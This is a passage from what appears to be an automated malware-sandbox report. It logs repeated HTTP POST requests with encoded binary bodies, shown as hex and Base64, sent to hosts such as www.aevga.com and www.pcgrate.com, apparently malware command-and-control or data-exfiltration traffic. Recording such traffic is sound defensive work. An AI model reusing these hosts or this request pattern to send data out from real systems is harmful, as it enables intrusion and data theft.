63 46 77 53 4e 68 2b 56 35 48 67 78 50 73 32 62 37 48 77 59 42 4d 35 39 56 4a 79 31 49 32 5a 6c 6a 4f 4f 6a 4d 64 67 31 43 31 58 64 72 50 74 36 66 36 6c 68 6f 65 59 35 38 36 44 43 6e 35 4e 71 53 71 37 68 61 37 37 65 53 34 77 55 7a 4a 2f 41 6a 6b 34 74 2b 49 75 52 74 6e 50 46 64 51 41 34 39 62 63 39 6f 61 77 74 37 30 4c 6f 53 63 6d 35 46 43 6a 71 47 44 6c 76 2f 6b 6d 67 65 69 62 6a 78 62 41 45 45 56 56 61 67 6a 66 4b 6d 4a 6c 30 6e 4b 63 4a 32 57 52 6b 69 72 77 56 45 6f 62 44 6a 39 69 48 4a 34 31 49 50 61 43 6f 6b 4d 41 4c 73 4f 41 6c 53 72 6f 44 53 78 59 62 45 5a 78 72 78 66 51 50 55 4f 6d 48 62 4f 45 4c 62 36 69 79 35 31 62 50 33 46 4f 34 30 72 4c 75 2b 2b 7a 48 44 38 44 39 58 42 51 37 79 6d 37 79 54 2b 41 6b 79 32 58 58 48 58 71 53 58 53 4a 46 56 4c 68 2b 73 4a 46 6d 78 53 6a 4f 62 48 37 36 4b 2b 4f 2b 7a 44 63 66 57 68 4f 78 4e 64 65 36 6b 51 38 54 6a 4c 4f 33 67 46 48 58 5a 6c 52 77 49 61 31 4e 45 2b 76 72 78 51 49 44 63 47 6a 4b 61 46 65 52 44 58 30 38 61 69 4b 74 71 56 5a 37 4b 51 6b 4c 38 42 53 54 64 79 36 68 54 76 50 68 78 64 43 75 6c 77 33 52 33 75 70 37 62 55 33 74 39 4c 61 64 6f 74 4d 6d 34 45 67 57 73 55 77 72 32 71 4e 47 76 4d 63 39 2b 74 45 68 4e 33 73 3d Data Ascii: yj4nI5AqE1g0QtKyI3xtgEMAw464NK5nxPpMB4LuaRnwupSztug0m2gq8szxNlSf6wDgskhA+Qhnl8cJHp/0esN/R+Q4G3fcjrS7OUpyw/O86egXskJhIA9FRzwxl/mYmmDgwy4kL6dYrzafLZ0o9/lOAqf7O+RocFwSNh+V5HgxPs2b7HwYBM59VJy1I2ZljOOjMdg1C1XdrPt6f6lhoeY586DCn5NqSq7ha77eS4wUzJ/Ajk4t+IuRtnPFdQA49bc9oawt70LoScm5FCjqGDlv/kmgeibjxbAEEVVagjfKmJl0nKcJ2WRkirwVEobDj9iHJ41IPaCokMALsOAlSroDSxYbEZxrxfQPUOmHbOELb6iy51bP3FO40rLu++zHD8D9XBQ7ym7yT+Aky2XXHXqSXSJFVLh+sJFmxSjObH76K+O+zDcfWhOxNde6kQ8TjLO3gFHXZlRwIa1NE+vrxQIDcGjKaFeRDX08aiKtqVZ7KQkL8BSTdy6hTvPhxdCulw3R3up7bU3t9LadotMm4EgWsUwr2qNGvMc9+tEhN3s=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 564User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.aevga.comCache-Control: no-cacheData Raw: 57 31 66 47 51 53 51 70 46 46 67 78 6a 4a 61 77 76 32 4a 64 77 76 64 44 53 4f 66 63 4f 47 67 32 6d 4c 69 49 64 51 69 68 69 4b 64 76 36 55 69 6d 75 62 52 33 4a 6e 43 36 67 62 6e 66 44 63 59 57 4a 37 54 69 59 45 61 35 51 42 71 61 6e 43 59 6f 6b 55 53 4d 7a 2f 6f 2b 51 71 53 73 58 6c 49 70 51 36 44 66 7a 44 70 4d 54 41 56 53 59 34 41 72 71 31 47 39 51 4e 76 6b 2f 36 4f 39 37 72 2b 4b 65 6b 76 31 44 69 6b 67 4b 30 2b 4b 78 6a 4d 50 58 6f 41 67 56 67 79 63 51 4f 61 52 43 64 69 78 2f 6e 61 62 32 51 38 6d 52 6a 6d 68 4f 67 72 6d 59 66 63 43 38 77 47 42 32 6f 65 2f 4e 71 34 53 51 61 6b 46 4c 6c 63 62 57 53 58 33 73 73 34 68 58 42 44 67 78 39 47 7a 59 67 31 55 79 4b 50 70 4c 65 44 38 68 50 74 4d 58 44 54 59 30 4b 33 76 75 41 33 49 4e 65 33 42 42 39 73 70 48 49 4c 42 79 6f 7a 4a 37 70 78 50 54 58 30 72 65 63 72 42 76 62 53 31 54 4d 48 7a 4e 66 4e 6f 39 4b 52 2b 59 46 34 7a 5a 68 6b 74 62 57 61 42 71 74 6e 66 78 4a 41 4d 43 49 45 58 53 52 52 63 37 55 34 4e 46 34 64 7a 72 43 64 6f 2f 31 50 64 7a 57 56 4a 6d 32 4f 2f 62 33 6d 61 50 52 33 75 6c 64 6a 6e 5a 61 36 6c 74 30 42 77 64 63 53 4d 4a 36 37 48 4d 41 44 67 49 75 55 55 56 68 4c 48 6a 62 4a 62 48 67 43 70 4d 78 2b 61 37 77 4f 2f 4b 55 4a 68 38 76 49 59 67 79 6d 4b 2f 6f 67 7a 48 79 77 2f 6b 4a 45 32 79 77 39 2b 41 7a 6e 33 4e 2b 6c 6e 36 65 2b 63 47 47 76 47 76 61 37 2b 50 75 30 71 58 42 70 56 79 58 68 2b 49 31 52 53 32 70 6e 5a 31 77 57 31 36 39 5a 41 47 53 42 72 69 7a 61 68 5a 56 2b 57 72 39 54 51 77 30 76 5a 33 4f 31 38 33 46 6b 44 6c 74 4e 6d 68 39 6a 41 41 6b 76 36 79 34 6d 61 34 56 4b 76 57 63 61 6e 61 61 62 44 70 50 52 37 59 78 38 34 42 4c 44 6d 4f 77 72 6e 56 33 6b 5a 2b 47 53 4b 6b 33 61 53 61 46 53 49 6b 53 38 3d Data Ascii: W1fGQSQpFFgxjJawv2JdwvdDSOfcOGg2mLiIdQihiKdv6UimubR3JnC6gbnfDcYWJ7TiYEa5QBqanCYokUSMz/o+QqSsXlIpQ6DfzDpMTAVSY4Arq1G9QNvk/6O97r+Kekv1DikgK0+KxjMPXoAgVgycQOaRCdix/nab2Q8mRjmhOgrmYfcC8wGB2oe/Nq4SQakFLlcbWSX3ss4hXBDgx9GzYg1UyKPpLeD8hPtMXDTY0K3vuA3INe3BB9spHILByozJ7pxPTX0recrBvbS1TMHzNfNo9KR+YF4zZhktbWaBqtnfxJAMCIEXSRRc7U4NF4dzrCdo/1PdzWVJm2O/b3maPR3uldjnZa6lt0BwdcSMJ67HMADgIuUUVhLHjbJbHgCpMx+a7wO/KUJh8vIYgymK/ogzHyw/kJE2yw9+Azn3N+ln6e+cGGvGva7+Pu0qXBpVyXh+I1RS2pnZ1wW169ZAGSBrizahZV+Wr9TQw0vZ3O183FkDltNmh9jAAkv6y4ma4VKvWcanaabDpPR7Yx84BLDmOwrnV3kZ+GSKk3aSaFSIkS8=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 568User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.fcwcvt.orgCache-Control: no-cacheData Raw: 71 56 6b 71 61 45 64 6f 46 56 6a 35 39 55 4f 39 64 6f 67 41 62 42 43 47 63 30 38 39 42 70 51 78 61 39 44 41 71 4b 2b 4f 41 61 54 4d 44 4e 4e 75 73 67 52 54 39 4c 4b 55 79 7a 55 62 38 61 6a 78 35 34 31 42 62 44 35 68 4d 4b 63 4a 69 38 52 59 56 68 4b 31 59 4e 72 48 75 48 69 74 69 46 59 61 30 33 6c 61 5a 36 6f 46 74 38 38 34 7a 62 4b 78 58 43 6d 57 42 39 35 64 32 73 45 78 65 6d 56 45 66 6e 6e 74 52 4d 46 46 38 63 30 6d 37 73 58 51 31 72 71 73 74 31 72 4a 2b 5a 6f 43 68 4e 68 4f 33 37 72 38 75 46 6b 73 4c 4b 7a 77 76 50 67 77 66 52 55 46 4f 63 66 6e 35 57 6e 44 42 49 78 75 6f 50 73 7a 63 2f 30 50 69 72 4f 37 36 4a 51 49 72 4a 49 53 52 4b 48 68 4c 65 35 57 6d 4b 63 46 57 45 77 45 61 73 7a 4a 46 6c 43 57 36 38 4c 65 7a 46 46 49 2b 75 4d 33 55 54 35 53 78 63 71 73 47 50 6a 2f 56 4a 70 4b 38 69 76 45 37 64 31 76 75 71 64 72 69 5a 67 48 50 45 37 55 79 36 4a 50 43 6e 4d 62 68 63 66 52 56 52 57 77 68 41 38 50 4c 2f 7a 34 52 71 74 43 6d 63 2b 77 50 75 73 48 31 42 66 46 67 2b 42 49 65 62 43 36 42 6f 50 37 67 71 39 31 4b 50 47 56 4d 4d 39 6a 6a 56 73 55 4b 31 6f 66 72 4d 63 6e 68 63 4d 4e 66 4e 44 4f 76 59 6b 6e 70 77 4e 4e 67 54 74 49 76 34 2f 45 39 70 57 5a 72 63 74 7a 5a 47 77 2f 67 6e 42 78 70 66 53 76 45 64 73 6f 43 7a 73 77 6e 4d 50 38 37 42 48 2b 61 64 66 35 46 5a 56 4d 6c 67 79 31 56 47 4d 32 6b 44 44 49 39 51 55 39 36 74 78 33 44 76 4d 41 41 35 6f 4a 6e 72 50 73 2b 69 72 31 4d 74 46 2f 47 32 78 56 6f 56 7a 36 66 48 49 61 4a 58 72 2f 58 6b 6f 72 70 43 69 6e 75 55 47 46 62 32 64 41 35 37 77 6b 65 45 61 56 33 6b 5a 49 64 36 6d 62 61 66 58 44 32 34 6f 44 78 41 61 45 56 32 55 35 79 68 30 61 59 41 52 54 6c 44 72 45 59 63 6b 4f 59 4c 32 68 31 77 39 49 49 6a 6e 7a 42 75 4b 30 77 6b 5a 52 Data Ascii: qVkqaEdoFVj59UO9dogAbBCGc089BpQxa9DAqK+OAaTMDNNusgRT9LKUyzUb8ajx541BbD5hMKcJi8RYVhK1YNrHuHitiFYa03laZ6oFt884zbKxXCmWB95d2sExemVEfnntRMFF8c0m7sXQ1rqst1rJ+ZoChNhO37r8uFksLKzwvPgwfRUFOcfn5WnDBIxuoPszc/0PirO76JQIrJISRKHhLe5WmKcFWEwEaszJFlCW68LezFFI+uM3UT5SxcqsGPj/VJpK8ivE7d1vuqdriZgHPE7Uy6JPCnMbhcfRVRWwhA8PL/z4RqtCmc+wPusH1BfFg+BIebC6BoP7gq91KPGVMM9jjVsUK1ofrMcnhcMNfNDOvYknpwNNgTtIv4/E9pWZrctzZGw/gnBxpfSvEdsoCzswnMP87BH+adf5FZVMlgy1VGM2kDDI9QU96tx3DvMAA5oJnrPs+ir1MtF/G2xVoVz6fHIaJXr/XkorpCinuUGFb2dA57wkeEaV3kZId6mbafXD24oDxAaEV2U5yh0aYARTlDrEYckOYL2h1w9IIjnzBuK0wkZR
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 568User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.xaicom.esCache-Control: no-cacheData Raw: 49 31 65 4b 32 38 7a 51 44 41 33 68 74 2b 53 2b 4e 39 55 79 5a 64 39 4e 62 34 43 6b 48 5a 62 6f 77 41 34 50 66 43 6f 53 53 71 47 48 62 64 33 47 66 66 57 36 75 50 52 72 63 6b 50 51 66 62 70 62 5a 52 56 37 33 37 50 68 52 68 4b 43 62 34 41 69 61 51 36 46 45 6a 6c 33 36 53 45 7a 58 4d 59 42 79 49 6c 4e 30 5a 44 45 61 75 41 67 32 4e 4f 65 39 74 37 47 66 64 54 78 49 64 57 38 47 43 63 71 47 74 4a 4c 6e 71 46 34 64 74 41 73 50 36 2f 50 67 61 73 4c 37 4c 6a 4e 4b 50 67 5a 2b 32 34 53 79 6d 39 54 70 6b 44 46 67 78 36 35 6c 72 45 45 76 30 74 62 4c 56 51 6f 48 43 7a 36 50 4c 35 43 67 50 4f 34 4e 68 52 65 34 74 73 30 37 63 71 4c 31 62 6e 35 4e 4a 6c 72 31 39 4d 33 2b 42 65 2f 71 75 39 53 30 67 51 4a 55 6c 4c 6c 62 2f 32 37 6b 36 49 58 39 49 6a 51 4a 4f 44 62 68 44 39 6d 43 69 71 6c 48 2b 61 58 6a 61 6f 6c 78 58 68 59 53 4c 58 76 6a 33 57 45 72 30 70 4a 6d 67 6d 36 74 37 46 6c 69 44 50 74 7a 2b 4a 4b 50 62 4a 53 76 61 50 44 5a 44 6d 76 51 6c 4d 51 58 72 5a 47 46 4d 45 52 4b 4c 41 74 31 46 68 51 31 56 73 71 31 2b 42 75 79 75 76 6e 4d 37 68 6b 79 61 50 55 57 59 49 48 75 63 2f 34 31 63 62 4e 6a 75 4c 53 6a 65 36 66 41 75 49 66 79 42 63 59 34 5a 45 57 31 41 32 61 53 57 47 54 44 73 55 32 2f 49 2f 45 43 36 5a 72 52 30 6c 4e 6d 67 39 73 46 59 6b 35 51 47 77 48 67 50 70 75 61 74 63 4c 72 33 32 51 6d 5a 5a 68 37 61 34 4b 44 33 77 63 61 62 4c 6d 52 67 32 30 54 45 63 4a 57 53 6b 75 30 59 74 31 64 52 57 31 30 54 46 54 53 6c 57 50 6f 51 31 6d 52 6b 2b 74 30 4d 30 34 4d 58 66 47 68 4f 78 72 6c 58 58 6a 53 74 57 64 48 76 50 74 6f 74 2f 4e 6f 4c 4e 73 74 37 32 5a 4e 41 4a 53 64 58 4c 39 61 75 50 4c 76 33 42 35 51 2b 70 61 37 4c 4f 67 61 34 62 79 4d 32 55 39 33 72 56 72 68 4e 52 41 58 56 48 6c 32 38 38 3d Data Ascii: I1eK28zQDA3ht+S+N9UyZd9Nb4CkHZbowA4PfCoSSqGHbd3GffW6uPRrckPQfbpbZRV737PhRhKCb4AiaQ6FEjl36SEzXMYByIlN0ZDEauAg2NOe9t7GfdTxIdW8GCcqGtJLnqF4dtAsP6/PgasL7LjNKPgZ+24Sym9TpkDFgx65lrEEv0tbLVQoHCz6PL5CgPO4NhRe4ts07cqL1bn5NJlr19M3+Be/qu9S0gQJUlLlb/27k6IX9IjQJODbhD9mCiqlH+aXjaolxXhYSLXvj3WEr0pJmgm6t7FliDPtz+JKPbJSvaPDZDmvQlMQXrZGFMERKLAt1FhQ1Vsq1+BuyuvnM7hkyaPUWYIHuc/41cbNjuLSje6fAuIfyBcY4ZEW1A2aSWGTDsU2/I/EC6ZrR0lNmg9sFYk5QGwHgPpuatcLr32QmZZh7a4KD3wcabLmRg20TEcJWSku0Yt1dRW10TFTSlWPoQ1mRk+t0M04MXfGhOxrlXXjStWdHvPtot/NoLNst72ZNAJSdXL9auPLv3B5Q+pa7LOga4byM2U93rVrhNRAXVHl288=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 564User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.sjbs.orgCache-Control: no-cacheData Raw: 76 79 42 6f 6f 39 6a 75 49 77 30 4e 2f 34 6d 54 32 79 53 45 69 38 74 33 48 6f 57 67 41 71 4f 69 6a 43 66 77 42 4f 56 57 75 63 53 78 2f 32 41 5a 43 4a 6a 36 50 61 6b 39 4a 70 53 63 4f 31 4f 50 2b 4c 41 66 34 72 30 51 30 39 35 76 32 62 77 71 65 4c 6e 36 6f 45 49 74 4f 72 53 53 6f 7a 73 4d 48 58 64 55 4c 59 46 33 6c 49 66 5a 68 76 77 4a 4c 63 63 55 30 62 66 50 44 55 6e 4d 43 4f 33 37 32 6f 4d 6f 64 53 72 47 72 39 52 42 64 48 69 49 71 2f 39 53 66 5a 68 35 66 51 6f 48 68 63 74 77 48 53 77 69 43 4c 55 67 31 72 38 65 78 6e 53 45 55 38 48 35 31 51 33 56 75 53 5a 68 71 30 50 4b 31 42 2b 54 73 78 78 52 56 45 5a 58 6d 4b 6a 6a 67 38 62 44 33 37 30 47 49 58 66 2b 30 2b 78 4d 65 36 51 73 36 73 53 48 50 39 71 34 61 69 61 4a 4d 6e 71 6c 78 61 6e 71 4f 35 4a 57 5a 5a 6f 6a 37 7a 71 73 77 49 38 55 78 6d 4e 54 58 38 76 4f 72 49 32 4e 6e 34 33 71 4e 39 42 6d 67 71 4b 6a 63 58 4c 72 64 59 66 71 39 4f 36 54 74 50 4f 31 2f 38 58 77 44 46 57 38 55 56 37 4a 6f 68 54 6a 4d 6c 42 41 44 77 69 46 39 45 63 62 76 63 72 4c 52 6c 46 6a 52 33 57 6c 56 65 55 4a 48 6a 4c 54 45 6c 78 48 31 5a 4b 73 4b 35 6d 50 4a 4b 48 49 6c 74 65 30 45 63 63 50 4e 58 39 4e 58 43 72 4f 31 42 59 68 72 4b 55 4c 4e 73 66 55 39 70 4e 45 6a 6d 44 71 72 36 48 71 7a 78 4e 39 6c 56 59 35 32 6d 30 4b 39 30 77 6d 44 78 76 36 68 33 55 66 37 6e 44 63 39 68 42 59 32 64 6f 53 41 4d 34 41 6b 43 48 69 61 70 56 4b 73 49 77 65 51 53 4a 54 51 56 4e 6a 33 50 6e 78 2b 66 50 57 4e 38 2f 42 58 4f 39 46 4e 56 79 32 39 45 63 32 39 65 68 39 6c 51 4b 64 4d 37 35 51 33 72 69 30 73 4a 30 57 39 35 47 4b 55 5a 70 6a 6b 63 63 50 72 66 4d 4f 2f 54 4f 71 73 2b 75 4d 4b 58 46 48 78 62 56 72 63 76 44 4d 42 78 68 32 6c 67 2b 78 7a 65 41 6d 2f 31 51 3d Data Ascii: vyBoo9juIw0N/4mT2ySEi8t3HoWgAqOijCfwBOVWucSx/2AZCJj6Pak9JpScO1OP+LAf4r0Q095v2bwqeLn6oEItOrSSozsMHXdULYF3lIfZhvwJLccU0bfPDUnMCO372oModSrGr9RBdHiIq/9SfZh5fQoHhctwHSwiCLUg1r8exnSEU8H51Q3VuSZhq0PK1B+TsxxRVEZXmKjjg8bD370GIXf+0+xMe6Qs6sSHP9q4aiaJMnqlxanqO5JWZZoj7zqswI8UxmNTX8vOrI2Nn43qN9BmgqKjcXLrdYfq9O6TtPO1/8XwDFW8UV7JohTjMlBADwiF9EcbvcrLRlFjR3WlVeUJHjLTElxH1ZKsK5mPJKHIlte0EccPNX9NXCrO1BYhrKULNsfU9pNEjmDqr6HqzxN9lVY52m0K90wmDxv6h3Uf7nDc9hBY2doSAM4AkCHiapVKsIweQSJTQVNj3Pnx+fPWN8/BXO9FNVy29Ec29eh9lQKdM75Q3ri0sJ0W95GKUZpjkccPrfMO/TOqs+uMKXFHxbVrcvDMBxh2lg+xzeAm/1Q=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 564User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.maktraxx.comCache-Control: no-cacheData Raw: 51 30 4e 44 5a 4a 49 34 4c 6c 68 6a 42 55 35 55 52 66 36 54 70 35 58 37 46 35 6a 69 2f 34 76 69 35 72 38 31 4d 56 7a 33 4b 6d 38 50 6d 66 4f 54 66 73 36 37 62 45 79 55 51 2f 55 69 55 4c 68 62 7a 32 66 6c 64 36 50 6e 33 51 49 34 42 4d 4f 57 42 62 30 4f 75 35 52 72 65 78 78 54 71 51 6a 58 6b 78 4b 2f 63 64 47 30 51 2f 57 54 79 70 4a 45 38 79 54 4a 6c 79 52 43 30 2b 53 39 33 36 6c 4f 6c 59 67 59 67 67 52 41 49 32 74 77 59 77 44 6d 74 4a 45 59 6f 6d 56 68 54 41 69 6a 4e 63 5a 55 41 4d 4a 61 6a 32 72 47 6b 6d 76 63 42 76 59 6a 32 50 35 34 38 6f 49 36 62 37 2f 6e 61 79 45 33 76 64 51 71 35 49 36 38 35 75 76 43 50 6d 34 34 77 31 41 47 48 45 7a 4a 61 65 34 4d 46 6b 78 76 45 51 5a 71 6d 4c 71 5a 50 52 51 67 44 68 36 38 44 4e 43 62 65 6e 35 76 67 5a 45 56 74 6d 6b 66 46 33 78 61 34 43 35 35 4a 2b 77 53 31 34 68 38 78 38 51 44 41 62 4d 69 39 67 48 68 49 4f 42 72 4d 69 6b 70 64 4b 50 43 65 38 31 4b 57 33 38 35 35 45 35 41 36 63 32 6c 41 53 34 4b 2f 6c 65 43 64 64 64 45 69 2f 6f 47 53 36 31 75 66 51 4b 5a 42 66 6c 54 6b 35 64 38 54 63 77 78 7a 58 35 33 76 39 61 78 57 38 38 6f 63 6e 51 6b 66 4e 7a 62 52 64 4b 62 41 37 46 71 54 32 73 2b 53 58 59 2f 4a 4a 71 75 65 55 54 7a 74 31 69 79 32 62 4c 66 70 74 61 61 73 4a 6c 34 5a 62 6e 34 51 2f 32 39 74 37 34 71 78 44 46 76 4d 7a 4e 4a 72 4b 35 42 70 6b 76 61 51 33 77 35 76 5a 38 48 64 67 45 2f 6b 78 52 65 44 38 2f 74 6b 5a 4c 4f 6b 78 48 41 74 74 64 33 45 54 34 66 38 37 51 46 74 61 30 52 64 59 6b 42 37 31 6f 6f 67 67 74 54 74 4a 66 44 53 73 2b 6d 61 35 77 4b 47 7a 47 59 63 6c 47 49 43 6f 76 6a 38 72 4a 6d 6d 4c 4c 39 63 51 4a 51 6f 45 7a 42 6a 74 4a 55 6e 2f 54 65 45 76 59 68 4a 59 45 77 77 48 52 4f 6d 4e 56 47 4c 69 47 2f 34 48 30 62 Data Ascii: Q0NDZJI4LlhjBU5URf6Tp5X7F5ji/4vi5r81MVz3Km8PmfOTfs67bEyUQ/UiULhbz2fld6Pn3QI4BMOWBb0Ou5RrexxTqQjXkxK/cdG0Q/WTypJE8yTJlyRC0+S936lOlYgYggRAI2twYwDmtJEYomVhTAijNcZUAMJaj2rGkmvcBvYj2P548oI6b7/nayE3vdQq5I685uvCPm44w1AGHEzJae4MFkxvEQZqmLqZPRQgDh68DNCben5vgZEVtmkfF3xa4C55J+wS14h8x8QDAbMi9gHhIOBrMikpdKPCe81KW3855E5A6c2lAS4K/leCdddEi/oGS61ufQKZBflTk5d8TcwxzX53v9axW88ocnQkfNzbRdKbA7FqT2s+SXY/JJqueUTzt1iy2bLfptaasJl4Zbn4Q/29t74qxDFvMzNJrK5BpkvaQ3w5vZ8HdgE/kxReD8/tkZLOkxHAttd3ET4f87QFta0RdYkB71ooggtTtJfDSs+ma5wKGzGYclGICovj8rJmmLL9cQJQoEzBjtJUn/TeEvYhJYEwwHROmNVGLiG/4H0b
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 576User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.cokocoko.comCache-Control: no-cacheData Raw: 41 2f 76 51 37 50 6e 6b 7a 6c 63 6f 50 2f 68 65 69 4d 70 38 66 5a 4c 50 70 67 37 58 6e 53 71 45 50 52 64 32 45 6b 56 6d 59 4d 72 66 72 42 6a 69 2b 44 35 6f 7a 52 77 41 54 44 73 41 48 61 44 47 77 2f 48 41 4d 31 68 59 4c 59 71 57 66 4f 5a 50 38 47 77 4d 71 51 4b 34 33 75 44 6d 6b 66 77 73 69 2b 61 33 57 47 42 65 4a 5a 54 75 6f 62 45 4d 4c 45 30 6b 55 5a 30 79 6e 50 4a 48 34 54 41 31 4e 35 6a 6d 4a 6d 4f 70 45 75 41 41 6a 74 4f 73 44 5a 6a 66 4b 48 2b 6e 77 59 51 69 54 76 7a 72 51 5a 49 56 48 53 36 38 52 58 4a 61 35 6d 71 31 42 38 66 4f 42 42 51 4d 56 78 51 67 68 65 72 39 4c 30 7a 4b 59 6e 49 42 34 31 47 4d 5a 74 67 6b 41 6c 44 67 64 64 32 71 41 4f 41 72 31 74 30 39 57 4b 61 4f 69 56 6f 68 74 62 34 63 48 35 46 7a 46 34 4b 2b 36 39 74 43 4e 6d 34 2b 6a 4c 37 75 76 32 36 49 41 45 4b 39 68 65 58 4e 44 66 4f 67 30 59 77 52 59 74 57 30 49 6d 73 44 77 72 32 39 37 46 4d 4a 65 65 6c 74 36 2b 66 77 65 44 6d 58 4b 71 59 30 49 57 39 5a 54 4a 58 6f 45 76 61 4e 35 74 2f 46 55 52 71 49 46 52 31 2b 57 2b 37 53 6a 5a 35 4d 30 64 71 36 47 67 57 73 62 76 78 52 2f 6f 56 69 45 76 67 68 72 61 4b 66 54 45 71 42 4d 76 50 50 31 38 43 64 42 73 65 6d 32 59 63 62 63 4a 57 67 34 6d 75 68 64 74 36 6c 76 63 54 65 30 47 30 71 37 7a 4d 52 72 79 43 64 38 37 4e 46 66 49 57 54 7a 43 39 6b 30 33 44 48 45 55 32 50 74 4c 7a 35 6e 6c 7a 2f 44 45 49 45 47 4c 4b 6b 49 7a 4c 32 46 54 5a 72 74 65 6b 4a 63 71 73 58 49 70 56 50 30 70 70 47 41 6e 70 4d 74 4c 45 4b 61 6e 53 79 38 34 32 34 6e 74 38 2f 51 54 36 52 4a 30 6a 48 34 79 42 54 49 58 67 41 70 38 58 67 47 58 48 6b 34 4a 6d 5a 4b 41 66 61 4c 38 52 68 30 6b 61 38 56 73 75 39 33 72 2b 4f 4e 6b 53 6f 63 77 31 72 67 51 7a 53 5a 49 39 6c 30 71 4d 38 32 51 4d 4e 42 72 70 39 72 4f 34 4c 42 34 49 3d Data Ascii: A/vQ7PnkzlcoP/heiMp8fZLPpg7XnSqEPRd2EkVmYMrfrBji+D5ozRwATDsAHaDGw/HAM1hYLYqWfOZP8GwMqQK43uDmkfwsi+a3WGBeJZTuobEMLE0kUZ0ynPJH4TA1N5jmJmOpEuAAjtOsDZjfKH+nwYQiTvzrQZIVHS68RXJa5mq1B8fOBBQMVxQgher9L0zKYnIB41GMZtgkAlDgdd2qAOAr1t09WKaOiVohtb4cH5FzF4K+69tCNm4+jL7uv26IAEK9heXNDfOg0YwRYtW0ImsDwr297FMJeelt6+fweDmXKqY0IW9ZTJXoEvaN5t/FURqIFR1+W+7SjZ5M0dq6GgWsbvxR/oViEvghraKfTEqBMvPP18CdBsem2YcbcJWg4muhdt6lvcTe0G0q7zMRryCd87NFfIWTzC9k03DHEU2PtLz5nlz/DEIEGLKkIzL2FTZrtekJcqsXIpVP0ppGAnpMtLEKanSy8424nt8/QT6RJ0jH4yBTIXgAp8XgGXHk4JmZKAfaL8Rh0ka8Vsu93r+ONkSocw1rgQzSZI9l0qM82QMNBrp9rO4LB4I=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 564User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.pcgrate.comCache-Control: no-cacheData Raw: 30 4d 36 64 74 45 41 69 75 67 31 78 42 54 35 6f 45 7a 44 49 63 48 50 48 66 33 6b 6f 44 72 6d 59 64 4e 32 4f 31 70 43 77 55 2f 67 68 79 61 77 6d 61 76 33 44 4e 59 45 42 45 35 6e 41 48 50 48 70 69 4b 79 4d 56 4d 34 30 57 32 71 59 6c 50 76 31 4f 66 69 43 70 36 64 4e 4e 61 68 6a 78 58 72 4f 41 54 68 68 35 49 39 4f 38 64 33 75 65 66 6c 42 67 39 77 58 56 69 75 34 41 37 30 2f 75 2f 73 48 71 76 4c 70 65 52 33 4c 4a 69 45 35 54 6e 77 66 65 34 4f 32 77 72 76 36 53 41 7a 58 4f 35 65 69 79 66 39 6e 4c 57 2f 58 65 6a 57 4b 72 64 76 44 38 4e 65 7a 6d 36 46 61 76 70 70 51 6d 33 4d 4a 71 70 59 75 68 34 52 64 48 31 32 47 48 6f 54 4f 33 6c 68 7a 6e 6c 46 4f 71 45 67 6e 2f 52 4b 2f 4b 45 2b 33 6e 75 56 79 44 74 54 43 5a 77 57 4b 4f 7a 68 6d 50 58 44 6b 62 57 4f 73 66 4f 68 79 4d 51 76 49 44 54 6b 53 51 2b 76 50 33 74 42 7a 4a 51 76 5a 4f 4b 63 4b 64 63 66 6e 47 37 56 44 4e 6f 42 38 51 6c 62 69 78 73 63 51 59 6f 44 4e 4f 71 33 43 58 69 37 51 5a 6b 38 7a 44 77 70 73 43 63 75 4d 47 74 4b 39 44 4a 71 68 38 7a 56 72 31 70 38 71 65 4c 4e 55 73 48 72 4f 6d 4a 39 75 69 54 68 58 6e 75 34 31 31 6e 48 45 35 4d 76 70 6b 39 42 76 67 58 6c 67 62 75 70 6c 31 50 6e 73 6d 34 44 54 53 42 67 4a 32 6c 2b 36 30 5a 62 42 50 50 43 62 39 69 5a 72 73 78 68 45 46 30 61 74 74 37 63 6d 48 76 6c 6a 4a 67 54 57 61 61 6c 71 79 50 6b 35 68 69 35 72 6e 6a 41 7a 6e 45 30 6f 54 4b 4d 34 63 33 54 59 4f 48 68 63 56 52 33 68 32 68 5a 66 31 6c 79 5a 45 38 4b 6a 34 35 4d 6c 55 41 6d 2f 6a 42 6d 31 5a 4c 72 48 6d 33 5a 65 2b 6f 4b 34 56 54 68 6a 69 43 39 67 65 7a 66 31 35 36 6d 68 32 52 46 43 4f 47 54 63 77 72 4e 39 75 39 44 4b 39 68 6a 74 6e 58 4c 4c 6b 79 49 6a 39 6c 4a 6e 46 59 33 30 76 55 44 72 35 71 30 34 73 78 4a 73 Data Ascii: 